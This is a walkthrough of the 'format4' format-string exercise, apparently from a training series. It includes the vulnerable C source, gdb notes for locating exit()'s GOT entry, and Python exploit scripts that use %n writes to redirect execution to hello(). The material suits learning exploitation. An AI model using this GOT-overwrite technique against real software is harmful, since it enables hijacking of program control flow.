Format4
format4 looks at one method of redirecting execution in a process.
Hints: objdump -TR is your friend
source code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
In vuln() function, after the printf there is a call to exit(). This means that the vuln() funciton will never return. it will perform the syscall exit to the kernel, which will quit this process. So if we would overwrite the return pointer of this function, we would never return and we could not exploit it.
We can overwirte the GOT entry of exit(), with the address for hello.
open it in gdb:
there is not any ret instruction.
so to make this exploit work we have to figure out a few addresses.
First, we have to get the address of hello() function where we will jump to.
And at the bottom you can see the call to exit at the PLT.
disassemble that address 0x080403ec
and we can see the address that is referenced in the first instruction with the jump. That tries to reference the address of exit in glibc to here 0x080403ec.
so examine the address 0x08049724
and 0x08049724 is the address of entry for exit() in the GOT.
Let's simulate by hand overwriting the GOT entry.
that works.
Now we just have to acheive this write with a format string and a %n.
exploit.py
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724 # points to the entry for exit() in GOT
def pads(s):
return s+'x'*(512-len(s))
exploit = ""
exploit += struct.pack("I", EXIT_PLT) # 4th element on the stack
exploit += struct.pack("I", EXIT_PLT+2) # 5th element on the stack
exploit += "BBBBCCCC" # 6th, 7th element on the stack
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"
# we can use the '%n$x' in the format string to specifically reference that offset.
# "%4$x" would attempt to reference the 4th parameter of printf instead of going through the parameters one after another.
print(pads(exploit))
and make it simpler
import struct
EXIT_PLT = 0x8049724 # points to the entry for exit() in GOT
exploit = ""
exploit += struct.pack("I", EXIT_PLT) # 4th element on the stack
exploit += struct.pack("I", EXIT_PLT+2) # 5th element on the stack
exploit += "%4$33964x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"
print(exploit)
let's try it.
$ python /tmp/exp.py | ./format4
.
.
.
code execution redirected! you win
pwned!